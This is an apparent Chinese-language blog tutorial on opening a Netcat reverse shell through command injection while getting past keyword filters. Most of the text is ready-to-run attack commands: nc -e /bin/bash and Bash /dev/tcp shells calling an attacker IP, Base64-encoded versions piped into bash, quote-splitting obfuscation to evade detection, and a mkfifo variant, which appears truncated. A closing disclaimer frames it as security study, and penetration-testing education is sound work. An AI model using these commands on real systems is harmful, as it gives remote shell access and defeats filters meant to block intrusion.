绕过关键字过滤并利用 Netcat 反弹 Shell 的完整流程

绕过关键字过滤并利用 Netcat 反弹 Shell 的完整流程

绕过关键字过滤并利用 Netcat 反弹 Shell 的完整流程1. 背景知识在渗透测试或命令注入攻击中,目标服务器可能会有关键字过滤(比如nc、bash、/bin/sh等)。为了绕过检测,我们可以使用 Base64 编码,把真正的命令隐藏起来,并让目标服务器解码执行。

目标:

在攻击者机器(你自己的电脑)上监听端口,等待目标服务器反向连接。

在目标服务器上执行 Netcat 反弹 Shell 命令,把 Shell 发送到你的监听端口。

如果服务器有关键字检测,就用 Base64 编码绕过。

2. 反弹 Shell 的基础方法(无编码)最基础的 Netcat 反弹 Shell 命令是:

nc -nv 攻击者IP 1234 -e /bin/bash

其中:

-n不进行 DNS 解析,加快连接速度。

-v显示详细信息(可选)。

攻击者IP是你的 IP(监听端机器)。

-e /bin/bash让 Netcat 把 Bash Shell 绑定到 TCP 连接上。

示例攻击者机器监听:

nc -nvlp 1234

目标服务器执行反弹 Shell 命令:

nc -nv 192.168.1.100 1234 -e /bin/bash

如果连接成功,你在nc -nvlp 1234的窗口里会获得一个远程 Shell。

3. 目标服务器有关键字检测,如何绕过?(1)先在本地进行 Base64 编码不能直接输入nc -nv 192.168.1.100 1234 -e /bin/bash,否则可能被拦截,所以先进行 Base64 编码:

echo -n "nc -nv 192.168.1.100 1234 -e /bin/bash" | base64

输出示例:

bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g=

(2)在目标服务器执行 Base64 方式的反弹 Shellecho bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | base64 -d | bash

该命令的作用:

echo "Base64编码字符串":输出 Base64 版本的命令。

base64 -d:解码回原来的nc -nv 192.168.1.100 1234 -e /bin/bash。

bash:执行解码后的命令。

如果执行成功,目标服务器会尝试连接192.168.1.100:1234,并且你在攻击者机器上的nc -nvlp 1234监听窗口会收到一个 Shell。

4. 绕过更严格的检测(1)分块 Base64 解码echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | b''a''s''h

或者:

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | /b''i''n/sh

(2)使用$(echo xxx | base64 -d)方式bash -c "$(echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | base64 -d)"

这样bash -c负责执行括号里的命令。

5. 如何判断目标服务器支持 Base64?echo "dGVzdA==" | base64 -d

如果返回test,说明base64是可用的。

6. 可能遇到的问题(1)目标服务器没有nc如果nc不可用,尝试使用 Bash 自带的 TCP 反弹:

bash -i >& /dev/tcp/192.168.1.100/1234 0>&1

然后同样可以 Base64 编码:

echo -n "bash -i >& /dev/tcp/192.168.1.100/1234 0>&1" | base64

目标服务器执行:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzEyMzQgMD4mMQ== | base64 -d | bash

(2)目标服务器无法连接你的监听端口可能的原因:

服务器的防火墙阻止了出站连接。

你的监听端口(1234)被防火墙拦截(关闭防火墙或换个端口)。

服务器的nc版本不支持-e选项,可以尝试mkfifo方式:

mkfifo /tmp/backpipe

/bin/sh 0/tmp/backpipe

再用 Base64 编码执行。

7. 总结监听端(你的电脑):

nc -nvlp 1234

在本地编码 Netcat 反弹 Shell 命令:

echo -n "nc -nv 192.168.1.100 1234 -e /bin/bash" | base64

在目标服务器执行 Base64 反弹 Shell:

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | b''a''s''h

如果nc被禁用,尝试 Bash 反弹:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzEyMzQgMD4mMQ== | base64 -d | bash

这样你每次遇到命令注入、关键字过滤或者反弹 Shell 的时候,就可以按照这个流程一步步分析并尝试不同的方法!

8. 免责声明本文章仅用于技术研究与网络安全学习,旨在帮助用户提高安全意识,防范潜在的网络威胁。所有内容均基于合法合规的测试环境,任何组织或个人不得将其用于非法用途,否则由使用者自行承担法律责任。本文作者不承担因使用本工具导致的任何直接或间接后果。

相关推荐